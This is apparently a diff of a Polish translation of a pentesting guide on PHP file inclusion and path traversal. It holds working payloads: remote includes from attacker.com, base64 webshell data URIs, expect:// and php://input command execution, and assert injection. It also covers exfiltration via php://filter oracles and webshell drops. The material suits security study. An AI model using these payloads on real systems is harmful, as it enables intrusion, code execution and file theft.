- **Starting with a Fake Directory**: Częstą praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (np. `a/`). Technika ta jest używana jako środek ostrożności lub do spełnienia wymagań logiki parsowania ścieżek serwera.
|
||||
- **Using Dot Segments and Additional Characters**: Sekwencje traversal (`../`) w połączeniu z dodatkowymi dot segments i znakami można użyć do nawigacji po systemie plików, co pozwala efektywnie zignorować przez serwer dołączone ciągi znaków.
|
||||
- **Determining the Required Number of Traversals**: Poprzez metodę prób i błędów można ustalić dokładną liczbę sekwencji `../` potrzebną do dotarcia do katalogu root, a następnie do `/etc/passwd`, upewniając się, że wszelkie dołączone ciągi (np. `.php`) są zneutralizowane, ale żądana ścieżka (`/etc/passwd`) pozostaje nienaruszona.
|
||||
- **Starting with a Fake Directory**: Częstą praktyką jest zaczynanie ścieżki od nieistniejącego katalogu (np. `a/`). Technika ta jest stosowana jako środek ostrożności lub aby spełnić wymagania logiki parsowania ścieżek serwera.
|
||||
|
||||
Stosując techniki path truncation, kluczowe jest zrozumienie zachowania parsowania ścieżek przez serwer oraz struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testy są często niezbędne, aby znaleźć najbardziej efektywną metodę.
|
||||
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
|
||||
|
||||
**This vulnerability was corrected in PHP 5.3.**
|
||||
|
||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
W php jest to wyłączone domyślnie, ponieważ **`allow_url_include`** jest **Off.** Musi być **On**, aby działało, i w takim przypadku możesz dołączyć plik PHP ze swojego serwera i uzyskać RCE:
|
||||
W php jest to domyślnie wyłączone, ponieważ **`allow_url_include`** jest **Off.** Musi być **On**, aby to działało — w takim przypadku możesz include'ować plik PHP z twojego serwera i uzyskać RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP filtruje dostęp do zewnętrznych stron, [według tego wpisu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), możesz na przykład użyć data protocol z base64, aby zdekodować b64 PHP code i uzyskać RCE:
|
||||
Jeśli z jakiegoś powodu **`allow_url_include`** jest **On**, ale PHP **filtruje** dostęp do zewnętrznych stron internetowych, [według tego posta](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), można na przykład użyć protokołu data z base64, aby zdekodować b64 PHP code i uzyskać RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> W poprzednim kodzie na końcu dodano `+.txt`, ponieważ atakujący potrzebował ciągu kończącego się na `.txt`, więc ciąg kończy się tą częścią, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a w konsekwencji wykonany).
|
||||
> W poprzednim kodzie końcowy `+.txt` został dodany, ponieważ attacker potrzebował ciągu kończącego się na `.txt`, więc ciąg kończy się tą częścią, a po b64 decode ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (i w konsekwencji wykonany).
|
||||
|
||||
Inny przykład **nie używający protokołu `php://`** to:
|
||||
Inny przykład **nie używający protokołu `php://`** byłby:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Element root w Pythonie
|
||||
## Python — element główny
|
||||
|
||||
W Pythonie, w kodzie takim jak ten:
|
||||
W Pythonie w kodzie takim jak poniższy:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
Jeśli użytkownik poda **absolute path** do **`file_name`**, **poprzednia ścieżka zostaje po prostu usunięta**:
|
||||
Jeśli użytkownik poda **absolute path** do **`file_name`**, **poprzednia ścieżka zostaje usunięta**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
To jest zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
To zamierzone zachowanie zgodnie z [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są odrzucane i łączenie kontynuuje się od komponentu będącego ścieżką bezwzględną.
|
||||
> Jeżeli komponent jest ścieżką absolutną, wszystkie poprzednie komponenty są odrzucane i łączenie kontynuuje się od komponentu będącego ścieżką absolutną.
|
||||
|
||||
## Java Listowanie katalogów
|
||||
## Java — listowanie katalogów
|
||||
|
||||
Wygląda na to, że jeśli masz Path Traversal w Java i **zażądasz katalogu** zamiast pliku, **zwrócona zostanie lista zawartości katalogu**. Nie będzie to miało miejsca w innych językach (o ile wiem).
|
||||
Wygląda na to, że jeśli masz Path Traversal w Java i **poprosisz o katalog** zamiast pliku, zwracana jest **lista zawartości katalogu**. To nie będzie się zdarzać w innych językach (o ile wiem).
|
||||
|
||||
## Top 25 parameters
|
||||
## Top 25 parametrów
|
||||
|
||||
Oto lista top 25 parametrów, które mogą być podatne na local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Poniżej lista 25 najważniejszych parametrów, które mogą być podatne na local file inclusion (LFI) (z [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -211,38 +211,38 @@ Oto lista top 25 parametrów, które mogą być podatne na local file inclusion
|
||||
?mod={payload}
|
||||
?conf={payload}
|
||||
```
|
||||
## LFI / RFI używające wrapperów i protokołów PHP
|
||||
## LFI / RFI przy użyciu PHP wrapperów i protokołów
|
||||
|
||||
### php://filter
|
||||
|
||||
Filtry PHP pozwalają wykonywać podstawowe **operacje modyfikacji danych** zanim zostaną one odczytane lub zapisane. Istnieje 5 kategorii filtrów:
|
||||
PHP filters umożliwiają wykonywanie podstawowych **operacji modyfikacji danych** zanim zostaną odczytane lub zapisane. Istnieje 5 kategorii filtrów:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">")
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- Należy zauważyć, że ten filtr zniknął w nowoczesnych wersjach PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : Konwertuje do innego kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań** uruchom w konsoli: `iconv -l`
|
||||
- `convert.iconv.*` : Konwertuje na inne kodowanie (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Nadużywając filtru konwersji `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne, by zapisać dowolny tekst lub sprawić, że funkcja taka jak include przetworzy dowolny tekst. Więcej informacji znajdziesz w [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
> Nadużywając filtru konwersji `convert.iconv.*` możesz **wygenerować dowolny tekst**, co może być przydatne do zapisania dowolnego tekstu lub sprawienia, że funkcje takie jak include będą przetwarzać dowolny tekst. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Kompresuje zawartość (useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: Dekompresuje dane
|
||||
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: Decompress the data
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*` : Deprecated
|
||||
- `mdecrypt.*` : Deprecated
|
||||
- Other Filters
|
||||
- Uruchamiając w PHP `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**:
|
||||
- Inne filtry
|
||||
- Uruchamiając w php `var_dump(stream_get_filters());` możesz znaleźć kilka **nieoczekiwanych filtrów**:
|
||||
- `consumed`
|
||||
- `dechunk`: odwraca HTTP chunked encoding
|
||||
- `dechunk`: reverses HTTP chunked encoding
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -273,37 +273,46 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
> [!WARNING]
|
||||
> Część "php://filter" nie rozróżnia wielkości liter
|
||||
|
||||
### Użycie php filters jako oracle do czytania dowolnych plików
|
||||
### Użycie php filters jako oracle do odczytu dowolnych plików
|
||||
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) is proposed a technique to read a local file without having the output given back from the server. This technique is based on a **boolean exfiltration of the file (char by char) using php filters** as oracle. This is because php filters can be used to make a text larger enough to make php throw an exception.
|
||||
[**W tym poście**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) zaproponowano technikę odczytu pliku lokalnego bez zwracania jego zawartości przez serwer. Technika ta opiera się na booleanowej eksfiltracji pliku (znak po znaku) z użyciem php filters jako oracle. Dzieje się tak, ponieważ php filters mogą być użyte do powiększenia tekstu na tyle, żeby php rzucił wyjątek.
|
||||
|
||||
W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, ale tutaj krótkie podsumowanie:
|
||||
W oryginalnym poście znajdziesz szczegółowe wyjaśnienie techniki, poniżej krótkie podsumowanie:
|
||||
|
||||
- Użyj kodeka **`UCS-4LE`** aby pozostawić pierwszy znak tekstu na początku i sprawić, że rozmiar łańcucha będzie rósł wykładniczo.
|
||||
- Posłuży to do wygenerowania **tekstu tak dużego, że gdy początkowa litera zostanie odgadnięta** php wywoła **błąd**.
|
||||
- Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy sprawdzić, czy pierwszy znak jest hex.
|
||||
- To, w połączeniu z poprzednim (i innymi filtrami zależnymi od odgadywanej litery), pozwoli nam odgadnąć literę na początku tekstu, obserwując, kiedy wykonamy wystarczająco dużo transformacji, by przestała być znakiem szesnastkowym. Ponieważ jeśli jest hex, dechunk jej nie usunie i początkowa bomba spowoduje błąd php.
|
||||
- Kodek **convert.iconv.UNICODE.CP930** zamienia każdą literę na następną (czyli po tym kodeku: a -> b). Pozwala to ustalić, czy pierwsza litera to na przykład `a`, ponieważ jeśli zastosujemy 6 razy ten kodek a->b->c->d->e->f->g, litera przestaje być znakiem szesnastkowym, więc dechunk jej nie usunie i zostanie wywołany błąd php, ponieważ mnoży się z początkową bombą.
|
||||
- Stosując inne transformacje, jak **rot13** na początku, można leakować inne znaki, takie jak n, o, p, q, r (i inne kodeki można użyć, by przesunąć inne litery do zakresu hex).
|
||||
- Gdy początkowy znak jest cyfrą, trzeba go zakodować base64 i leakować pierwsze 2 znaki, aby leakować liczbę.
|
||||
- Końcowym problemem jest ustalenie, **jak leakować więcej niż początkową literę**. Używając filtrów zmieniających kolejność bajtów, jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, można zmienić kolejność znaków i umieścić na pierwszej pozycji inne litery z tekstu.
|
||||
- A aby móc uzyskać **dalsze dane** pomysł polega na **wygenerowaniu 2 bajtów śmieci na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby to **pivot with the next 2 bytes**, oraz **usunąć dane aż do junk data** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż dojdziesz do pożądanego fragmentu do leakowania.
|
||||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||||
- Użyj kodeka **`UCS-4LE`**, aby pozostawić początkowy znak tekstu na początku i sprawić, że rozmiar ciągu będzie wzrastał wykładniczo.
|
||||
- This will be used to generate a **text so big when the initial letter is guessed correctly** that php will trigger an **error**
|
||||
- Posłuży to do wygenerowania **tekstu tak dużego, że gdy początkowa litera zostanie zgadnięta poprawnie**, php wywoła **błąd**.
|
||||
- The **dechunk** filter will **remove everything if the first char is not an hexadecimal**, so we can know if the first char is hex.
|
||||
- Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, dzięki czemu możemy stwierdzić, czy pierwszy znak jest hex.
|
||||
- This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won't delete it and the initial bomb will make php error.
|
||||
- To, w połączeniu z powyższym (i innymi filtrami zależnymi od zgadywanej litery), pozwoli nam zgadnąć literę na początku tekstu poprzez obserwację, kiedy wykonamy wystarczającą liczbę transformacji, aby przestała być znakiem heksadecymalnym. Jeśli jest hex, dechunk jej nie usunie i początkowa bomba spowoduje błąd PHP.
|
||||
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
|
||||
- Kodek **convert.iconv.UNICODE.CP930** zamienia każdą literę na kolejną (więc po tym kodeku: a -> b). Pozwala to odkryć, czy pierwsza litera to np. `a`, ponieważ jeśli zastosujemy ten kodek 6 razy: a->b->c->d->e->f->g, litera przestaje być znakiem szesnastkowym — dechunk jej nie usuwa, a błąd PHP zostaje wywołany w połączeniu z początkową bombą.
|
||||
- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
|
||||
- Używając innych transformacji, takich jak **rot13** na początku, możliwe jest leak innych znaków, np. n, o, p, q, r (i inne kodeki można użyć, aby przesunąć inne litery do zakresu hex).
|
||||
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
|
||||
- Gdy początkowy znak jest cyfrą, należy zakodować go base64 i leak pierwsze 2 litery, aby ujawnić cyfrę.
|
||||
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
|
||||
- Ostatecznym problemem jest ustalenie, **how to leak more than the initial letter**. Używając filtrów zmieniających kolejność bajtów (order memory filters), takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, można zmienić porządek znaków i umieścić na pierwszej pozycji inne litery tekstu.
|
||||
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
|
||||
- Aby móc uzyskać **further data**, pomysł polega na **wygenerowaniu 2 bajtów śmieci na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby je **pivot with the next 2 bytes**, oraz **usunąć dane aż do danych-śmieci** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż dojdziesz do żądanego bitu do leak.
|
||||
|
||||
W poście opublikowano również narzędzie automatyzujące to: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
W poście opublikowano także narzędzie automatyzujące ten proces: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Ten wrapper pozwala uzyskać dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do exfiltrate zawartości otwartych plików:
|
||||
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Możesz także użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **file descriptors 0, 1 and 2** odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku)
|
||||
Możesz też użyć **php://stdin, php://stdout and php://stderr** aby uzyskać dostęp do **deskryptorów plików 0, 1 i 2** odpowiednio (nie jestem pewien, jak mogłoby to być przydatne w ataku)
|
||||
|
||||
### zip:// and rar://
|
||||
|
||||
Wgraj plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.\
|
||||
Aby móc wykorzystać protokół rar, **musi być on specjalnie aktywowany**.
|
||||
Prześlij plik Zip lub Rar z PHPShell w środku i uzyskaj do niego dostęp.\
|
||||
Aby móc nadużyć protokołu rar, musi on być **specjalnie aktywowany**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,24 +337,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
Uwaga: ten protokół jest ograniczony ustawieniami PHP **`allow_url_open`** i **`allow_url_include`**
|
||||
Zauważ, że ten protokół jest ograniczony przez konfiguracje php **`allow_url_open`** i **`allow_url_include`**
|
||||
|
||||
### expect://
|
||||
|
||||
Expect musi być włączony. Możesz uruchomić kod za jego pomocą:
|
||||
Expect musi być aktywowany. Możesz wykonać kod przy użyciu tego:
|
||||
```
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
### input://
|
||||
|
||||
Określ swój payload w parametrach POST:
|
||||
Podaj swój payload w parametrach POST:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
Plik `.phar` może być wykorzystany do wykonania kodu PHP, gdy aplikacja webowa używa funkcji takich jak `include` do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku `.phar`:
|
||||
Plik `.phar` może zostać wykorzystany do wykonania kodu PHP, gdy aplikacja webowa wykorzystuje funkcje takie jak `include` do ładowania plików. Poniższy fragment kodu PHP pokazuje tworzenie pliku `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -358,11 +367,11 @@ Aby skompilować plik `.phar`, należy wykonać następujące polecenie:
|
||||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
Po uruchomieniu zostanie utworzony plik o nazwie `test.phar`, który potencjalnie może zostać wykorzystany do eksploitacji podatności Local File Inclusion (LFI).
|
||||
Po uruchomieniu zostanie utworzony plik o nazwie `test.phar`, który potencjalnie może zostać wykorzystany do eksploatacji podatności Local File Inclusion (LFI).
|
||||
|
||||
W przypadkach, gdy LFI jedynie odczytuje pliki bez wykonywania zawartego w nich kodu PHP — przez funkcje takie jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` lub `filesize()` — można spróbować wykorzystać podatność typu deserialization. Ta podatność wiąże się z odczytem plików przy użyciu protokołu `phar`.
|
||||
W przypadkach, gdy LFI jedynie odczytuje plik bez wykonywania zawartego w nim kodu PHP, przez funkcje takie jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` czy `filesize()`, można spróbować wykorzystać podatność na deserializację. Ta podatność jest związana z odczytem plików przy użyciu protokołu `phar`.
|
||||
|
||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
||||
Aby szczegółowo zrozumieć eksploatację podatności na deserializację w kontekście plików `.phar`, zapoznaj się z dokumentem poniżej:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -373,36 +382,36 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Można było wykorzystać **any arbitrary file read from PHP that supports php filters** aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1).
|
||||
Bardzo krótkie podsumowanie: a **3 byte overflow** w PHP heap został wykorzystany, aby **zmodyfikować łańcuch wolnych chunków** o określonym rozmiarze, co pozwoliło **zapisać cokolwiek pod dowolnym adresem**, więc dodano hook wywołujący **`system`**.
|
||||
Możliwe było alokowanie chunków o określonych rozmiarach poprzez nadużycie dodatkowych php filters.
|
||||
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Bardzo krótkie podsumowanie: a **3 byte overflow** w heap PHP został wykorzystany do **zmiany łańcucha wolnych chunks** o określonym rozmiarze, by móc **zapisać dowolne dane pod dowolny adres**, więc dodano hook wywołujący **`system`**.\
|
||||
Można było alokować chunki o określonych rozmiarach, nadużywając kolejnych php filters.
|
||||
|
||||
### Więcej protokołów
|
||||
### More protocols
|
||||
|
||||
Sprawdź więcej możliwych[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być użyteczne w ataku file inclusion)
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Zapis w pamięci lub w pliku tymczasowym (nie jest jasne, jak mogłoby to być użyteczne w ataku LFI)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Dostęp do lokalnego systemu plików
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do URL-i HTTP(s)
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdowanie ścieżek pasujących do wzorca (Nie zwraca nic czytelnego, więc nie jest tu zbyt przydatny)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdowanie ścieżek pasujących do wzorca (Nie zwraca nic czytelnego, więc nie jest tu zbyt użyteczny)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nieprzydatne do odczytu dowolnych plików)
|
||||
|
||||
## LFI przez 'assert' w PHP
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie przy użyciu funkcji 'assert', która może wykonywać kod zawarty w stringach. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal, takie jak "..", jest sprawdzane, ale nieprawidłowo sanityzowane.
|
||||
Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie przy użyciu funkcji 'assert', która może wykonywać kod zawarty w stringach. Jest to szczególnie problematyczne, jeśli wejście zawierające znaki directory traversal, takie jak "..", jest sprawdzane, ale nie jest odpowiednio oczyszczane.
|
||||
|
||||
For example, PHP code might be designed to prevent directory traversal like so:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Choć ma to na celu powstrzymanie traversal, niezamierzenie tworzy wektor dla code injection. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:
|
||||
Chociaż ma to na celu powstrzymanie traversal, niezamierzenie tworzy wektor do code injection. Aby wykorzystać to do odczytania zawartości pliku, atakujący mógłby użyć:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
Podobnie, do wykonywania dowolnych poleceń systemowych można użyć:
|
||||
Podobnie, do wykonywania dowolnych poleceń systemowych, można użyć:
|
||||
```plaintext
|
||||
' and die(system("id")) or '
|
||||
```
|
||||
@ -411,13 +420,13 @@ Ważne jest, aby **URL-encode these payloads**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Ta technika ma zastosowanie w przypadkach, gdy **control** ścieżki pliku (**file path**) funkcji **PHP function** która będzie **access a file**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**), ponieważ zawartość nie jest wyświetlana.
|
||||
> Ta technika ma zastosowanie w przypadkach, gdy kontrolujesz **file path** przekazywaną do **PHP function**, która będzie **access a file**, ale nie zobaczysz zawartości pliku (np. proste wywołanie **`file()`**), ponieważ zawartość nie jest wyświetlana.
|
||||
|
||||
W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
W [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) jest wyjaśnione, jak blind path traversal można wykorzystać za pomocą PHP filter, aby **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
Podsumowując, technika wykorzystuje kodowanie **"UCS-4LE" encoding**, aby zawartość pliku była tak **big**, że **PHP function opening** plik wywoła **error**.
|
||||
W skrócie, technika używa kodowania **"UCS-4LE"** aby uczynić zawartość pliku tak **big**, że **PHP function opening** plik spowoduje **błąd**.
|
||||
|
||||
Następnie, aby leak the first char używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** czy **rot13**, a ostatecznie filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane, aby **place other chars at the beggining and leak them**.
|
||||
Następnie, aby leak pierwszego znaku, używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** lub **rot13**, a na koniec filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** są używane, aby **place other chars at the beggining and leak them**.
|
||||
|
||||
Funkcje, które mogą być podatne: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
@ -427,20 +436,20 @@ Szczegóły techniczne znajdziesz we wspomnianym poście!
|
||||
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Gdy kod po stronie serwera, który przyjmuje/wgrywa pliki, buduje ścieżkę docelową używając danych kontrolowanych przez użytkownika (np. filename lub URL) bez canonicalising i walidacji, segmenty `..` i ścieżki absolutne mogą uciec z zamierzonego katalogu i spowodować arbitrary file write. Jeśli możesz umieścić payload w katalogu wystawionym w sieci, zazwyczaj uzyskujesz unauthenticated RCE przez upuszczenie webshell.
|
||||
Gdy kod po stronie serwera, który przyjmuje/wgrywa pliki, buduje docelową ścieżkę używając danych kontrolowanych przez użytkownika (np. nazwy pliku lub URL) bez kanonizacji i walidacji, segmenty `..` oraz ścieżki bezwzględne mogą wydostać się poza zamierzony katalog i spowodować arbitrary file write. Jeśli możesz umieścić payload w katalogu wystawionym do sieci (web-exposed directory), zazwyczaj uzyskujesz nieautoryzowane RCE przez upuszczenie webshell.
|
||||
|
||||
Typowy przebieg eksploatacji:
|
||||
- Znajdź write primitive w endpoint lub background worker, który akceptuje path/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors itp.).
|
||||
- Określ web-exposed directories. Typowe przykłady:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Stwórz traversal path, który wydostanie się z zamierzonego katalogu storage do webroot i dołącz zawartość webshell.
|
||||
- Zidentyfikuj write primitive w endpointzie lub background workerze, który przyjmuje path/filename i zapisuje zawartość na dysku (np. message-driven ingestion, XML/JSON command handlers, ZIP extractors itp.).
|
||||
- Określ katalogi wystawione w sieci. Typowe przykłady:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Stwórz traversal path, który wyjdzie z zamierzonego katalogu storage i przejdzie do webroot, dołączając zawartość webshell.
|
||||
- Otwórz upuszczony payload w przeglądarce i wykonaj polecenia.
|
||||
|
||||
Uwagi:
|
||||
